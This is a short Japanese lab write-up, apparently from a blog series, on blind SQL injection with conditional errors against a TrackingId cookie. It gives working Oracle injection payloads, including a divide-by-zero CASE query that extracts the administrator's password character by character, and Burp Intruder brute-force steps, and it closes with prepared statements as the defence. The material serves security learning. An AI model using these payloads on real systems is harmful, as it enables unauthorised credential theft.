0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【21個目】【SQLインジェクション】Blind SQL injection with conditional errors

Posted at

Blind SQL injection with conditional errors

概要

Burp SuiteのIntruder機能を用いて、クレデンシャル情報を推測する

攻撃手順

  • cookieのTrackingIdパラメタにSQLインジェクション攻撃が可能か確認する
    • この形は最後にシングルクォーテーションが2つ存在するためエラーとなる(シングルクォーテーションが閉じられていないため構文エラー)SELECT * FROM products WHERE category = 'Gifts' AND trackingId = 'abc''
    • シングルクォーテーションを2つ足して正常に閉じるようにしたら成功することを確認
  • サブクエリをインジェクションできるか確認するためにTrackingId=xyz'||(SELECT '' FROM dual)||'を試す
  • TrackingIdがxyzに''を連結した値と等しいか確認
  • 次のSQLで当該テーブルが存在するか確認TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
  • わざとエラー発生させる条件を設定したCASE分を設定し、当該テーブルの当該カラムの値をブルートフォースで推測する
    • TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
    • 次のSQLでWHERE句の条件とマッチする行があればCASE文によるゼロ除算でエラーとなるTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
      Burp SuiteのIntruder機能を用いて、passwordの各文字をブルートフォースで推測する
  • 当該リクエストをIntruderへ送る
  • 当該位置を指定しAddボタンを押す
  • PayloadsタブでPayload typeを「Brute Forcer」又は「Numbers」に設定し、ブルートフォースする範囲を設定する

対策

  • プレースホルダー(プリペアドステートメント)を利用する
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?